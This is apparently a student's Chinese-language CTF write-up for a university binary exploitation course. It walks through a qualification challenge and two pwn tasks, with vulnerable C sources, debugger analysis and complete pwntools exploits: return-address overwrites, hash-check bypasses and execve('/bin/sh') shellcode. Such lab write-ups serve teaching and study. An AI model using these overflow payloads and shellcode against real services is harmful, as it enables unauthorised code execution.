Qualification Challenge (这个Practical Course(Praktikum)需要完成这道题才有资格报名。)
核心思路 :绕过检测并利用Buffer Overflow漏洞修改函数的返回地址。
题目 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 #define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <time.h> #include <math.h> #include <unistd.h> #include <fcntl.h> #include <stdlib.h> #include <ctype.h> #include <stdbool.h> #define FLAG_LENGTH 37 #define FLAG_LINES 29 struct Flag { char * flagData; }; struct Flag ** flagList = NULL ;size_t numFlags = 0 ;const char flagTemplate[] = "{}\n" "|| ,,,,\n" "|| ,;;;;;, ,,;;;;;;;, ,,;;;;;;;;,\n" "||.;;;;;;;;;;, ,;;; ;;;, ,;;; ;;;,,\n" "||, ;;;, ,;;;; ;;;, ,;;;; ;\n" "|| ;;;,,;;;; ;;;,,;;;; ;;\n" "|| ;;\n" "|| ;;,\n" "|| ##################################### ;;\n" "|| ;\n" "|| ,,,, ;\n" "|| ,;;;;;, ,,;;;;;;;, ,,;;;;;;;;, ;\n" "||.;;;;;;;;;;, ,;;; ;;;, ,;;; ;;, ,;\n" "||, ;;;, ,;;;; ;;;, ,;;;; ;;;;\n" "|| ;;;,,;;;; ;;;,,;;;;\n" "||\n" "||\n" "||\n" "||\n" "||\n" "||\n" "||\n" "||\n" "||\n" "||\n" "||\n" "||\n" "||\n" "||" ; bool is_bad_char (char c) { return !isalnum (c); } void error (const char * err) { printf ("Error: %s\n" , err); exit (1 ); } char * build_flag (const char * data, size_t len) { if (len < FLAG_LENGTH) error("Not enough data to generate flag" ); char * flagBuf = (char *)malloc (sizeof (flagTemplate)); if (!flagBuf) error("OOM" ); memcpy (flagBuf, flagTemplate, sizeof (flagTemplate)); size_t j = 0 ; for (size_t i = 0 ; i < sizeof (flagTemplate); ++i) { if (flagBuf[i] == '#' ) { if (j >= len) error("Not enough data to generate flag" ); flagBuf[i] = data[j++]; } } return flagBuf; } char get_random_char () { char c; while (is_bad_char(c = rand())); return c; } char * generate_flag () { char buf[FLAG_LENGTH]; strcpy (buf, "flag_" ); for (size_t i = 5 ; i < FLAG_LENGTH; ++i) buf[i] = get_random_char(); return build_flag(buf, sizeof (buf)); } bool validate_flag (const char * flag, size_t len) { size_t j = 0 ; size_t i; for (i = 0 ; flagTemplate[i] && j < len; ++i, ++j) { if (!flagTemplate[i]) break ; if (flagTemplate[i] == '\n' ) { for (; j < len && flag[j] != '\n' ; ++j) if (!isspace (flag[j])) { printf ("Newline error\n" ); return false ; } } if (flagTemplate[i] == '#' ) { if (is_bad_char(flag[j])) { printf ("Bad char detected\n" ); return false ; } } else if (flagTemplate[i] != flag[j]) { printf ("Mismatch at (%zu,%zu) = ('%c', '%c')\n" , i, j, flagTemplate[i], flag[j]); return false ; } } if (flagTemplate[i]) { printf ("Did not reach end of flagTemplate, %zu, '%c'\n" , i, flagTemplate[i]); return false ; } return true ; } void parse_flag (char * dest, const char * flag, size_t len) { size_t j = 0 ; for (size_t i = 0 ; i < len; ++i) { if (!is_bad_char(flag[i])) { dest[j++] = flag[i]; } } } int get_choice () { printf ("> " ); char buf[0x10 ] = {0 }; if (!fgets(buf, sizeof (buf), stdin )) error("read failed\n" ); return atoi(buf); } void add_flag_to_list (struct Flag* flag) { flagList = (struct Flag**)realloc (flagList, ++numFlags * sizeof (struct Flag*)); if (!flagList) error("Realloc failed!\n" ); flagList[numFlags-1 ] = flag; } bool remove_flag_from_list (size_t idx) { if (idx >= numFlags) { puts ("Flag does not exist!" ); return false ; } struct Flag * flag = flagList[idx]; free (flag->flagData); free (flag); memmove(&flagList[idx], &flagList[idx+1 ], (--numFlags - idx) * sizeof (struct Flag*)); flagList = (struct Flag**)realloc (flagList, numFlags * sizeof (struct Flag*)); return true ; } char * read_flag () { size_t bufSize = sizeof (flagTemplate) * 2 ; size_t bufContent = 0 ; char * buf = (char *)malloc (bufSize); size_t numLines = 0 ; while (numLines < FLAG_LINES) { int n = read(STDIN_FILENO, buf + bufContent, bufSize - 1 - bufContent); if (n <= 0 ) error("read failed!\n" ); for (int i = 0 ; i < n; ++i) if (buf[bufContent+i] == '\n' ) numLines++; bufContent += n; if (bufSize - 1 - bufContent < 0x10 ) { buf = (char *)realloc (buf, bufSize *= 2 ); if (!buf) error("OOM" ); } } buf[bufContent] = 0 ; return buf; } void add_flag () { char buf[FLAG_LENGTH+1 ]; int choice; char * flagstr; size_t flaglen; struct Flag * flag = (struct Flag*)malloc (sizeof (struct Flag)); puts (" 1. Build flag" ); puts (" 2. Generate flag" ); puts (" 3. Parse flag" ); choice = get_choice(); switch (choice) { case 1 : if (!fgets(buf, sizeof (buf), stdin )) error("Read failed" ); flag->flagData = build_flag(buf, strlen (buf)); break ; case 2 : flag->flagData = generate_flag(); break ; case 3 : { flagstr = read_flag(); flaglen = strlen (flagstr); if (!validate_flag(flagstr, flaglen)) { puts ("Invalid flag!" ); free (flagstr); free (flag); flag = NULL ; break ; } parse_flag(buf, flagstr, flaglen); flag->flagData = build_flag(buf, FLAG_LENGTH); free (flagstr); break ; } default : free (flag); flag = NULL ; puts ("Invalid choice" ); } if (flag != NULL ) { add_flag_to_list(flag); puts ("Flag added!" ); } } void burn_flag () { puts ("Which flag do you wanna burn?" ); size_t idx = get_choice(); printf ("Searching for flag" ); for (int i = 0 ; i < 3 ; ++i) { printf ("." ); usleep(1000 *1000 ); } puts ("" ); if (remove_flag_from_list(idx)) { printf ("Preparing to burn" ); for (int i = 0 ; i < 3 ; ++i) { printf ("." ); usleep(1000 *1000 ); } puts ("" ); puts ("Fwoosh! The flames snapped and crackled as the flag went up in a fiery whoosh!”..." ); } } void show_flag () { for (size_t i = 0 ; i < numFlags; ++i) { printf ("Flag %zu:\n" , i); printf ("%s\n" , flagList[i]->flagData); } } void init (void ) { int fd; unsigned int rand_val; setvbuf(stdout ,0 ,_IONBF,0 ); setvbuf(stdin ,0 ,_IONBF,0 ); fd = open("/dev/urandom" , O_RDONLY); read(fd, &rand_val, sizeof (rand_val)); close(fd); srand(rand_val); } void menu () { puts ("-------------" ); puts (" 1. Add flag" ); puts (" 2. Burn flag" ); puts (" 3. Show flags" ); puts (" 4. Quit" ); puts ("-------------" ); } void win () { execve("/bin/get_flag" , NULL , NULL ); } int main () { init(); puts ("Welcome to our Flag-Storage-as-a-Service (FSaaS)!" ); int choice; bool running = true ; while (running) { menu(); choice = get_choice(); switch (choice) { case 1 : add_flag(); break ; case 2 : burn_flag(); break ; case 3 : show_flag(); break ; case 4 : puts ("Bye!" ); running = false ; break ; default : puts ("Invalid choice!" ); menu(); } } return 0 ; }
(说实话我真没想到一个qualification的题的源代码能这么长。)
代码审计 1 首先检测一下有哪些保护措施:
1 2 3 4 5 6 7 8 9 └─$ checksec ./vuln Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No Debuginfo: Yes
可以看到什么保护措施也没有。尤其是这里没有的No PIE,说明所有函数的地址都是固定的。
首先注意到,在add_flag()函数里有这么一段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 case 3 : { flagstr = read_flag(); flaglen = strlen (flagstr); if (!validate_flag(flagstr, flaglen)) { puts ("Invalid flag!" ); free (flagstr); free (flag); flag = NULL ; break ; } parse_flag(buf, flagstr, flaglen); flag->flagData = build_flag(buf, FLAG_LENGTH); free (flagstr); break ; }
通过阅读parse_flag()
和read_flag()
函数的代码可以发现没有进行任何长度上的限制。
只是在parse_flag()
函数里:
1 2 3 4 5 6 7 8 9 10 11 void parse_flag (char * dest, const char * flag, size_t len) { size_t j = 0 ; for (size_t i = 0 ; i < len; ++i) { if (!is_bad_char(flag[i])) { dest[j++] = flag[i]; } } }
1 2 3 4 bool is_bad_char (char c) { return !isalnum (c); }
会检查内容是否为字母或数字,并且只会将字母和数字写入进buf
里。(并不能写入任意内容。)
这意味着我们可以将任意长度的字母数字写入buf里。这是典型的Buffer Overflow的漏洞。
所以我们现在的目标很明确:通过Buffer Overflow的漏洞将返回地址修改成win()
函数的地址。
2 查看validate_flag()
的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 bool validate_flag (const char * flag, size_t len) { size_t j = 0 ; size_t i; for (i = 0 ; flagTemplate[i] && j < len; ++i, ++j) { if (!flagTemplate[i]) break ; if (flagTemplate[i] == '\n' ) { for (; j < len && flag[j] != '\n' ; ++j) if (!isspace (flag[j])) { printf ("Newline error\n" ); return false ; } } if (flagTemplate[i] == '#' ) { if (is_bad_char(flag[j])) { printf ("Bad char detected\n" ); return false ; } } else if (flagTemplate[i] != flag[j]) { printf ("Mismatch at (%zu,%zu) = ('%c', '%c')\n" , i, j, flagTemplate[i], flag[j]); return false ; } } if (flagTemplate[i]) { printf ("Did not reach end of flagTemplate, %zu, '%c'\n" , i, flagTemplate[i]); return false ; } return true ; }
发现它只检查了我们发送的内容的前面部分是否和template的一致,也就是说我们可以在后面添加任意长度的内容。
利用IDA查看一下add_flag()函数的Stack结构会发现:
大小为0x58
,即如果想要修改返回地址,则需要覆盖掉0x58
(=5*16+8 = 88)字节的内容。 (注意,这个88
可以理解为编译器总共预留的空间,所以不直接等于代码里的38
。)
因为这个页面不会显示返回地址的具体值,所以我们需要想办法确认。
首先打开Disassembly页面:
然后用Alt+t
搜索add_flag
:
可以看到这里调用了add_flag
,找过去看看。双击call
那里会跳转到这个页面:
然后选择text view:
可以发现add_flag()
的Stack
里的返回地址原本应该是0x0000000000401AB8
。
同时查看win()
函数的地址:
非常巧合的是这两个地址只有最后一个字节是不同的,且0x74对应的刚好是字母t,也就是说可以绕过parse_flag()
的检测。
所以我们只需要修改这个最低字节即可。
Exploit 首先将题目里的template复制过来,并将里面的#
改成合法的字母,比如说A
。然后在结尾加上用于覆盖buf
以及返回地址最低位字节(0x74
,即字母t
。)的内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import *HOST, PORT = "" , template = ( b"{}\n" b"|| ,,,,\n" b"|| ,;;;;;, ,,;;;;;;;, ,,;;;;;;;;,\n" b"||.;;;;;;;;;;, ,;;; ;;;, ,;;; ;;;,,\n" b"||, ;;;, ,;;;; ;;;, ,;;;; ;\n" b"|| ;;;,,;;;; ;;;,,;;;; ;;\n" b"|| ;;\n" b"|| ;;,\n" b"|| AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ;;\n" b"|| ;\n" b"|| ,,,, ;\n" b"|| ,;;;;;, ,,;;;;;;;, ,,;;;;;;;;, ;\n" b"||.;;;;;;;;;;, ,;;; ;;;, ,;;; ;;, ,;\n" b"||, ;;;, ,;;;; ;;;, ,;;;; ;;;;\n" b"|| ;;;,,;;;; ;;;,,;;;;\n" b"||\n" b"||\n" b"||\n" b"||\n" b"||\n" b"||\n" b"||\n" b"||\n" b"||\n" b"||\n" b"||\n" b"||\n" b"||\n" b"||" ) def exploit (): tail = 88 -37 tail = b"A" *tail + b"t" payload = template + tail + b"\n" r = remote(HOST, PORT) r.recvuntil(b"> " ); r.sendline(b"1" ) r.recvuntil(b"> " ); r.sendline(b"3" ) r.send(payload) print (r.recvall()) if __name__ == "__main__" : exploit()
总结 这道题与我目前所熟悉的Buffer Overflow的题不太一样,我们并不能直接任意地修改返回地址,而是只能修改返回地址的最低位字节,因为需要绕过它的检测机制。算是设计得非常巧妙。
GDB 其中有些步骤的信息可以利用gdb更快地查找。
1 2 3 4 5 6 7 8 9 10 11 12 13 gdb -q ./vuln (gdb) b add_flag (gdb) run (gdb) p/x *(void**) $rsp $1 = 0x401ab8(gdb) p/d $rsp - (long)&buf $2 = 88p/x &win $3 = 0x401a74
环境/提交 Dockerfile 保存这个Dockerfile:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 FROM debian:trixieRUN apt update -y && apt upgrade -y && apt install -y build-essential wget cmake RUN wget https://cloud.sec.in.tum.de/index.php/s/65BwEo2zgLFGa65/download/fnetd.tar.xz -O /fnetd.tar.xz RUN tar -xf fnetd.tar.xz RUN mkdir /fnetd/build WORKDIR /fnetd/build RUN cmake .. -G "Unix Makefiles" RUN make WORKDIR / RUN useradd -m pwn COPY vuln /home/pwn/vuln RUN chmod 0755 /home/pwn/vuln EXPOSE 1337 ENV FNETD_PASSWORD=fnetd_passwordCMD ["/fnetd/build/fnetd" , "-p" , "1337" , "-u" , "pwn" , "-lt" , "2" , "-lm" , "536870912" , "./vuln" ]
然后运行:
1 2 3 4 sudo docker build -t test .sudo docker images | grep test
1 2 3 4 5 sudo docker rm -f fnet-box 2>/dev/nullsudo docker run -d --name fnet-box \ --cap-add=SYS_PTRACE \ --security-opt seccomp=unconfined \ -p 1337:1337 test
1 sudo docker exec -it fnet-box bash
test
为Docker名。
连接时的密码就是:
1 2 3 4 ps -u pwn -o pid,cmd --forest # 假设 PID=123 gdb -q -p 123
具体的本地测试示例看下面pwn02的”本地测试“部分。
提交前测试 模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *r = remote('' , , fam=socket.AF_INET) def flag (output ): if b"flag_" in output: flag_begin = output.find(b"flag_" ) flag_end = output.find(b"\n" , flag_begin) flag = output[flag_begin:flag_end].decode('utf-8' ) print (flag) else : print ('Fail' )
1 2 3 4 5 chmod +x exp.pyarbiter run hacky1 13700 -- ./exp.py arbiter test hacky1 13700 -- ./exp.py
test一般会返回这样的结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 team20x@praksrv:~/pwn/pwn00> arbiter test hacky1 13700 -- ./exp.py round 0, 0/0 runs returned flag (95.0% interval) 0.00 <= bits bruteforced <= 2.28 round 1, 1/1 runs returned flag (95.0% interval) 0.00 <= bits bruteforced <= 1.55 round 2, 2/2 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 1.68 round 3, 3/3 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 1.41 round 4, 4/4 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 1.22 round 5, 5/5 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 1.07 round 6, 6/6 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 0.96 round 7, 7/7 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 0.87 round 8, 8/8 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 0.80 round 9, 9/9 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 0.73 round 10, 10/10 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 0.68 round 11, 11/11 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 0.63 round 12, 12/12 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 0.59 round 13, 13/13 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 0.56 round 14, 14/14 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 0.53 round 15, 15/15 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 0.50 round 16, 16/16 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 0.48 round 17, 17/17 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 0.45 round 18, 18/18 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 0.43 round 19, 19/19 runs returned flag (99.0% interval) 0.00 <= bits bruteforced <= 0.41 round 20, 20/20 runs returned flag 21 flags in 21 attempts Bit bruteforced (99.0% confidence): 0.20 ± 0.20
提交
1 2 3 cp exp.py pwn00_submittar czf pwn00_submit.tar.gz pwn00_submit
Pwn00 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <openssl/sha.h> unsigned char const good_hash[SHA256_DIGEST_LENGTH] = { 0x2e , 0x3d , 0x60 , 0xbf , 0xed , 0x7a , 0x65 , 0x01 , 0x21 , 0xe1 , 0xd7 , 0x15 , 0x3a , 0x21 , 0x75 , 0xc4 , 0xa8 , 0x33 , 0x7f , 0x01 , 0x93 , 0x47 , 0xc5 , 0x2d , 0x20 , 0xdc , 0x9a , 0x8c , 0xb5 , 0x09 , 0xe7 , 0xa3 , }; char const salt[] = { 0x64 , 0x75 , 0x63 , 0x6b , 0x64 , 0x75 , 0x63 , 0x6b , 0x64 , 0x75 , 0x63 , 0x6b , 0x64 , 0x75 , 0x63 , 0x6b }; unsigned char hash[SHA256_DIGEST_LENGTH];void win () { execl("/bin/get_flag" , "get_flag" , NULL ); exit (1 ); } int main () { char salted[sizeof (salt) + 40 ] = {0 }; char buf[0x40 ]; long uid = 1 ; printf ("\x1b[36mEnter password: \x1b[33m" ); fflush(stdout ); fgets(buf, sizeof (buf), stdin ); memcpy (salted, salt, sizeof (salt)); strncat (salted + sizeof (salt), buf, sizeof (salted) - sizeof (salt)); SHA256((unsigned char *) salted, sizeof (salt) + strlen (buf), hash); if (!memcmp (hash, good_hash, sizeof (good_hash))) uid = 0 ; sleep(1 ); if (uid) { printf ("\x1b[31mNope.\x1b[0m\n" ); exit (1 ); } printf ("\x1b[32mHey root!\x1b[0m\n" ); printf ("\x1b[36m> \x1b[33m" ); fflush(stdout ); gets(buf); printf ("\x1b[0m" ); return 0 ; }
1 2 3 4 5 6 7 8 9 └─$ checksec vuln [*] '/home/archer/ctf-kali/praktikum_binary_exploitation/pwn00/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No Debuginfo: Yes
这道题分为2个部分:
在第一部分里我们需要利用one-byte overflow来绕过root
的检测。而第二部分则是普通的利用Buffer Overflow将返回地址修改为后门函数直接获取flag。
一阶段 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 char salted[sizeof (salt) + 40 ] = {0 };char buf[0x40 ];long uid = 1 ; printf ("\x1b[36mEnter password: \x1b[33m" ); fflush(stdout );fgets(buf, sizeof (buf), stdin ); memcpy (salted, salt, sizeof (salt));strncat (salted + sizeof (salt), buf, sizeof (salted) - sizeof (salt));SHA256((unsigned char *) salted, sizeof (salt) + strlen (buf), hash); if (!memcmp (hash, good_hash, sizeof (good_hash))) uid = 0 ; sleep(1 ); if (uid) { printf ("\x1b[31mNope.\x1b[0m\n" ); exit (1 ); } printf ("\x1b[32mHey root!\x1b[0m\n" );
这段乍一看会觉得很正常,因为使用的是fgets
,并且参数设置的和buf
的大小一样。
但是我们来看一下strncat
这个函数:
1 char *strncat (char *dest, const char *src, size_t n) ;
把 至多 n
个 来自 src
的字符追加 到以 \0
结尾的字符串 dest
后面,随后再写入一个结尾的 \0
。返回 dest
。
因为会在结尾加上\0,所以这个结果所需的实际空间为:
1 strlen (dest) + min(n, strlen (src)) + 1
也就是说这里的
1 strncat (salted + sizeof (salt), buf, sizeof (salted) - sizeof (salt));
的实际所需空间为sizeof(salt)+40+1=sizeof(salt)+41
字节。
(salted
是个数组名,在表达式里会衰减(decay)成指向其首元素的指针(char *
)。sizeof(salt)
是一个整数(这里是 16),salted + sizeof(salt)
的含义是:把这个指针向后移动 16 个 char元素的位置。因为char的大小是 1 字节,所以这就是把指针向后偏移 16 个字节,正好指到salted
里salt
之后的第一个字节。)
但是由于实际上只给salted
分配了40字节的空间,所以会导致溢出,并将buf的第一位修改为\0
。
在 C 里,字符串长度(strlen
)是靠从首地址开始一直数,直到遇到第一个 '\0'
(NUL 字节)为止来定义的。也就是说如果第一位是\0的话,计数会直接结束,从而导致strlen(buf)=0
。
这样一来,这里:
1 SHA256((unsigned char *) salted, sizeof(salt) + strlen(buf), hash);
实际上计算的就只是salt
的哈希值。并且由于good_hash
恰好就是 SHA256(salt)
,所以说我们可以得到uid=0
。(memcmp
相等时返回 0,所以判断里是!memcmp
。)
然后我们便进入到了下一阶段:
二阶段 1 2 3 4 printf ("\x1b[36m> \x1b[33m" ); fflush(stdout );gets(buf); printf ("\x1b[0m" );return 0 ;
可以看到很经典的漏洞函数gets
。所以我们可以利用Buffer Overflow来将返回地址修改为win
函数的地址。在main函数运行结束之后就会自动运行win
函数。
Exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *win_addr = p64(0x00000000004011D6 ) r = remote('hacky1' , 13700 ) r.sendafter (b"Password:" , b"Password\n" ) r.sendafter(b'Enter password: ' , b'A' *40 + b'\n' ) payload = b'A' *(0x88 ) + win_addr + b'\n' r.sendafter(b'> ' , payload) r.interactive()
Pwn01 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 #define _POSIX_C_SOURCE 1 #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <openssl/sha.h> unsigned char const good_hash[SHA256_DIGEST_LENGTH] = { 0x2a , 0x00 , 0x72 , 0xd7 , 0x6a , 0xd1 , 0x94 , 0x4f , 0xfc , 0x1c , 0x94 , 0x6a , 0xc6 , 0x44 , 0xea , 0xb7 , 0x6f , 0x20 , 0x29 , 0x2c , 0xbe , 0xf3 , 0x3c , 0x43 , 0x29 , 0x4d , 0x0b , 0xf7 , 0xf8 , 0x72 , 0xef , 0x07 , }; int main () { char buf[0x30 ] = { 0 }; unsigned char *hbuf = malloc (0x30 ); unsigned char *hash = malloc (SHA256_DIGEST_LENGTH); printf ("\x1b[36mEnter username: \x1b[33m" ); fflush(stdout ); SHA256(hbuf, read(fileno(stdin ), hbuf, 0x30 ), hash); sleep(1 ); if (strncmp ((char *) hash, (char *) good_hash, sizeof (good_hash))) { printf ("\x1b[31mNope.\x1b[0m\n" ); free (hash); free (hbuf); exit (1 ); } free (hash); memcpy (buf, hbuf, sizeof (buf)); free (hbuf); printf ("\x1b[32mHey %s\x1b[0m\n" , buf); printf ("Today's magic is \x1b[37m%p\x1b[33m.\n" , buf); printf ("\x1b[36m> \x1b[33m" ); fflush(stdout ); read(fileno(stdin ), buf, 0x50 ); printf ("\x1b[0m" ); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 └─$ checksec vuln [*] '/home/archer/ctf-kali/praktikum_binary_exploitation/pwn01/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No Debuginfo: Yes
和第一题(Pwn00)一样,这道题也分2个部分。第一部分我们需要绕过哈希的检测,第二部分需要注入Shellcode并运行它去。
一阶段 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned char const good_hash[SHA256_DIGEST_LENGTH] = { 0x2a , 0x00 , 0x72 , 0xd7 , 0x6a , 0xd1 , 0x94 , 0x4f , 0xfc , 0x1c , 0x94 , 0x6a , 0xc6 , 0x44 , 0xea , 0xb7 , 0x6f , 0x20 , 0x29 , 0x2c , 0xbe , 0xf3 , 0x3c , 0x43 , 0x29 , 0x4d , 0x0b , 0xf7 , 0xf8 , 0x72 , 0xef , 0x07 , }; char buf[0x30 ] = { 0 };unsigned char *hbuf = malloc (0x30 );unsigned char *hash = malloc (SHA256_DIGEST_LENGTH);printf ("\x1b[36mEnter username: \x1b[33m" ); fflush(stdout );SHA256(hbuf, read(fileno(stdin ), hbuf, 0x30 ), hash); sleep(1 ); if (strncmp ((char *) hash, (char *) good_hash, sizeof (good_hash))) { printf ("\x1b[31mNope.\x1b[0m\n" ); free (hash); free (hbuf); exit (1 ); }
我们来看一下strncmp函数:
1 int strncmp (const char *s1, const char *s2, size_t n) ;
在最多比较 n
个字符的前提下 ,按字典序 比较以 '\0'
结尾的 C 字符串:
逐字节比较 s1[i]
与 s2[i]
(按 unsigned char
比较)。
一旦遇到任一方为 '\0'
或者 已经比较了 n
个字符 ,就停止。
返回值含义:
< 0
:s1
在第一个不同位置的字符 小于 s2
;
= 0
:在停止位置前都相等(可能是比较了 n
个、也可能提早遇到 '\0'
);
> 0
:s1
在第一个不同位置的字符 大于 s2
。
特例:n == 0
时直接返回 0 (认为相等)。
注意到题目里:
1 2 3 4 5 6 unsigned char const good_hash[SHA256_DIGEST_LENGTH] = { 0x2a , 0x00 , 0x72 , 0xd7 , 0x6a , 0xd1 , 0x94 , 0x4f , 0xfc , 0x1c , 0x94 , 0x6a , 0xc6 , 0x44 , 0xea , 0xb7 , 0x6f , 0x20 , 0x29 , 0x2c , 0xbe , 0xf3 , 0x3c , 0x43 , 0x29 , 0x4d , 0x0b , 0xf7 , 0xf8 , 0x72 , 0xef , 0x07 , };
good_hash的第二个字节就是0x00
。所以说我们只需要找到一个字符串使得它的哈希值的前两个字节等于 0x2a, 0x00
即可:
1 2 3 4 5 6 7 8 9 10 11 12 def find_hash (): i = 0 while True : s = f"{i} " .encode() h = hashlib.sha256(s).digest() if h[0 ] == 0x2a and h[1 ] == 0x00 : return s i += 1 name = find_hash()
二阶段 1 2 3 4 5 6 printf ("Today's magic is \x1b[37m%p\x1b[33m.\n" , buf);printf ("\x1b[36m> \x1b[33m" ); fflush(stdout );read(fileno(stdin ), buf, 0x50 ); printf ("\x1b[0m" );return 0 ;
绕过了前面的检测之后,我们会得到buf
(%p, buf
)的地址。所以我们接下来需要做的就只是将一段shellcode写进buf
里,然后将返回地址修改成buf
的地址。由于stack的可执行的,所以它会直接跳转跑去执行我们的shellcode,也就是运行system('/bin/sh)
。
1 2 3 4 5 sc = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" payload = sc.ljust(0x48 , b"A" ) + p64(buf_addr)
sc.ljust(0x48, b"A")
会将sc填充至0x48位,空余的部分用A进行填充。为了将返回地址对齐。
(但不清楚为什么Pwntools里的shellcraft.sh()不适配这道题。)
Exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *import re,hashlibdef flag (output ): if b"flag_" in output: flag_begin = output.find(b"flag_" ) flag_end = output.find(b"\n" , flag_begin) flag = output[flag_begin:flag_end].decode('utf-8' ) print (flag) else : print ('Fail' ) context.clear(arch='amd64' , os='linux' ) def find_hash (): i = 0 while True : s = f"{i} " .encode() h = hashlib.sha256(s).digest() if h[0 ] == 0x2a and h[1 ] == 0x00 : return s i += 1 name = find_hash() r = remote('hacky2' , 13701 , fam=socket.AF_INET) r.sendlineafter (b"Password:" , b"Password" ) r.sendafter(b"Enter username:" ,name) line = r.recvline() magic = r.recvline() m = re.search(rb'0x([0-9a-fA-F]+)' , magic) buf_addr = int (m.group(1 ), 16 ) sc = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" payload = sc.ljust(0x48 , b"A" ) + p64(buf_addr) r.sendlineafter(b'> ' , payload) time.sleep(0.5 ) r.sendline("/bin/get_flag" ) flag(r.recvline())
